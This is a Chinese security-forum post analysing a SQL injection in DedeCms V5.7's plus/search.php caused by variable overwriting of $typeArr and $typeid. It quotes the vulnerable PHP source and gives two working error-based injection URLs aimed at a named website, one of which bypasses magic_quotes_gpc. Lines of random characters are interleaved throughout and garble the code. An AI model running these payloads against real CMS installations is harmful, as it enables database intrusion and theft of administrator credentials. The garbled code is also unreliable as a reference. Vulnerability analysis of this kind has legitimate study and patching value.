中国网络渗透测试联盟
标题:
DedeCms V57 plus/search.php文件SQL注射
[打印本页]
作者:
admin
时间:
2013-1-19 08:18
标题:
DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
( X5 A8 f6 l+ y, }/ U
作者:
c4rp3nt3r@0x50sec.org
8 ?; C2 K8 d" D2 J0 v6 s
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
7 h/ T0 ~; X% O/ A4 U
3 t0 @* s+ S% O0 I& `4 }% e% [
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
% }# V( c' v# I6 m7 x C
' u0 v8 ^, Q3 U8 [
============
& U2 j! o; t8 t+ g
. `' ?/ n0 l6 H# q( t0 f
- `8 p( T5 }( \+ D B+ O
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
" ]( T; U* |; E2 F6 ^
+ Q( o# Q2 F! H
require_once(dirname(__FILE__).”/../include/common.inc.php”);
+ \3 K! l* _" D- `
require_once(DEDEINC.”/arc.searchview.class.php”);
6 W, [6 B) x) j T8 ^1 u& U3 p
) J6 g% U4 T4 u% ^- s) K0 W& j
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
2 e \% w# M, Q7 N- C8 Q
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
! h3 D" t# E1 N f2 ?' b. p5 K7 I
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
" m( W3 }/ D, u
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
9 R3 G5 m; r4 B% U% k
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
' b- c. q/ I- D+ z9 F6 b
Y B7 R* d/ j% |' G
if(!isset($orderby)) $orderby=”;
+ {" D' B* J/ s3 u j( I; ^! H
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
& {% ^9 D: g* Y. G( i% `2 ^) s1 j9 @
2 [. s+ L: |6 I3 n% j
) ?& M, |7 ]4 s$ Y3 o2 M
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
' j6 e/ U# G8 G* _/ e
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
1 X. o' e: w& @# P: E
1 h3 x6 B& {" M! f
if(!isset($keyword)){
l* p# l. x3 O" r, V6 {- N
if(!isset($q)) $q = ”;
* l5 X8 L# P6 [2 Q0 ^
$keyword=$q;
- h, Q. a' p5 V, v/ I. d
}
: F- o1 _& T" h, w3 }; k
5 V" x$ [% K+ j, Z/ |
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
+ H9 ?+ e! R2 l
3 Z# h- S1 d0 ~2 ~! M
//查找栏目信息
7 @: R9 h) P9 P) q0 I+ Z
if(empty($typeid))
# \; r* ]5 K6 m# w4 Z& Q# M+ V* \7 V
{
4 |; W! T' a4 j: R+ Q' k
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
7 u& D! g" J4 U+ R
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
( W5 c4 A/ D0 I1 h. w# U
{
3 X1 F x& @* n+ z6 K9 @* s) P
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
; A# c' J+ s. n6 h" L) |' J _( f
fwrite($fp, “<”.”?php\r\n”);
2 Q" V% x8 R8 Q. u
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
9 [& N Y# y6 d, S# [" R1 D
$dsql->Execute();
+ W" \/ [1 }7 F5 T
while($row = $dsql->GetArray())
2 t0 u; i, Z9 y% L5 a" _9 c; A
{
' q% c0 w8 A) J5 Q
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
7 o! f$ K% J8 |) l! t
}
( F# V ]0 L; [* @$ D/ w' z
fwrite($fp, ‘?’.'>’);
8 [% {7 q/ |8 t: [9 O; P5 [' D" @% p
fclose($fp);
2 O5 u" H' ^. Y% [; E
}
! p$ q# \7 c' R" \
//引入栏目缓存并看关键字是否有相关栏目内容
: N% o! D& }0 V
require_once($typenameCacheFile);
, G( R' j5 m' Y/ o E
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
K; p. z7 p7 k: [: P; ^$ a
//
1 N7 Z3 b7 ~( D. F4 ^( E- |
if(isset($typeArr) && is_array($typeArr))
/ s8 i! I, _7 x V: P2 \
{
- u! @4 l" o1 q) q* H
foreach($typeArr as $id=>$typename)
% S$ D+ s& w: ?, C
{
' x9 o H& t9 i& k g' n& A
7 d5 p, O3 z* F/ l+ j0 v
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
+ s0 ]& L& {2 e
if($keyword != $keywordn)
2 \4 u) d0 ~. j) s1 s
{
l8 Y: M3 O$ N6 J$ i+ S1 [
$keyword = $keywordn;
6 O) Z9 F- d' w$ A/ }: L9 I/ v1 x
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
. O4 q. R+ O h& Z
break;
( N' \2 N$ R! ` N1 P ]
}
7 G- P3 k9 o8 } n$ m
}
2 {2 i/ Y+ @7 h, P _# ^$ A
}
+ U( Y: x" |$ X& ^
}
3 F: ~$ ]' ^! a' e6 [$ L" _7 q* @
然后plus/search.php文件下面定义了一个 Search类的对象 .
0 j- ]+ z' l9 w8 O& b/ Z" T% ]
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
) C, p0 y& y% \! @
$this->TypeLink = new TypeLink($typeid);
x3 {1 P+ X" t& L$ i; |
0 @; T3 E' B8 h. e: {
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
2 d! B3 r4 b2 Z; ^# R( T9 S
+ i' _2 A3 `3 a6 _! `: X. x8 V
class TypeLink
2 @* t) ?( I/ ?+ ~7 h# Z
{
* \; @! S& v9 d# n4 ^- m& @) {
var $typeDir;
" J& |6 w5 @- P) c8 }# q
var $dsql;
2 S. V/ s B8 c8 h1 I% i
var $TypeID;
' |, X( R6 f, C8 j2 l
var $baseDir;
" w) B/ [1 n) ]/ U0 ]' R0 E# `
var $modDir;
3 w, v3 x9 U' C, ]& s
var $indexUrl;
4 L8 K- k2 m' |# m
var $indexName;
7 R; `2 L6 ~# T$ b; q4 E
var $TypeInfos;
' Z! t% w& m: L3 s6 c' N* s2 X
var $SplitSymbol;
3 k% w' h1 w3 `
var $valuePosition;
/ \/ q/ N% l/ X+ j Q6 P. @
var $valuePositionName;
0 T: w1 F# C9 J# E, W. J; r# L
var $OptionArrayList;//构造函数///////
* ]" a, N0 X+ C* [: `* ~
//php5构造函数
, q# m# u9 u v; I
function __construct($typeid)
$ w+ g, X" V# ?2 c6 z( H
{
8 H# t1 ]2 n. `" V6 N0 K
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
0 }8 k9 { L9 x8 ]
$this->indexName = $GLOBALS['cfg_indexname'];
b2 s: C4 u" v5 ~
$this->baseDir = $GLOBALS['cfg_basedir'];
8 N* o8 \4 l! T3 K' ]& \/ E' P1 h
$this->modDir = $GLOBALS['cfg_templets_dir'];
) {! e0 d, W! z v8 ~
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
/ d% s k5 s( j
$this->dsql = $GLOBALS['dsql'];
9 F2 Y" Q, y5 H% L0 q
$this->TypeID = $typeid;
& ?. i1 v# s/ n5 b5 t! D
$this->valuePosition = ”;
; A$ h' V) I- E( l9 [0 i
$this->valuePositionName = ”;
# T9 W. m! l4 a7 P" T, v% ~ j
$this->typeDir = ”;
/ D2 u- J6 ~' P4 s, g3 h
$this->OptionArrayList = ”;
. t% e }( c% r) {$ d
1 @# h- [* K' U& [8 r* o
//载入类目信息
9 L8 ~. e! \, V7 |4 o* w
/ P6 r1 w" c! s/ M
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
' N& p- y- V" M" e6 B
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
# u0 o1 t8 z6 G
`#@__channeltype` ch
8 z0 m2 i" F$ X6 k# _2 T
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
, ~1 ]9 v6 N) K0 B! k
3 O) y. B4 ? R4 Q
if($typeid > 0)
& c0 m# Y% U' P% M8 d
{
. A1 s+ f6 s. C0 e& h3 x0 n) g
$this->TypeInfos = $this->dsql->GetOne($query);
- y7 K' z$ U' u4 h( W0 o
利用代码一 需要 即使magic_quotes_gpc = Off
& t7 x0 Q( p5 {
' q1 x# I/ r0 h0 P5 f! f' }+ F1 n
www.political-security.com
/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
1 B, Q9 P$ \9 t' u
1 m: W: o- A; m i6 @# ^
这只是其中一个利用代码… Search 类的构造函数再往下
! D4 J: d( v( v9 z! H# Y* @
. Y- x: ~6 f- I
……省略
8 p5 [7 \& k; }6 C4 [) k2 ?
$this->TypeID = $typeid;
" h) Q8 V y6 K1 k/ t0 W+ `8 K
……省略
% l$ j/ u& d% Q' W" c9 t7 }
if($this->TypeID==”0″){
r! g4 y6 B2 w6 q6 Y8 G( R G
$this->ChannelTypeid=1;
2 ]& V2 c5 |* z3 X2 D( @6 q* s
}else{
* l" m9 o7 C4 \2 I Y
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
/ B* ~: W- P* R1 T- O
//现在不鸡肋了吧亲…
! s& b3 v; S1 s* H8 u% ]) e
$this->ChannelTypeid=$row['channeltype'];
; a* c# I( w }: v
% \; ~8 \0 x8 {6 `; e& P6 ^
}
7 L4 J' |( n+ }4 ], |
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
* U) k; Z q+ p1 W- A6 A
F3 k6 u0 i: ?) {- G) t5 x
www.political-security.com
/plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
$ I' t7 a, g& P% _$ ?9 E( s
M6 P) p' R# T# y
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
7 u) d; }) H- B2 B2 k% K
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2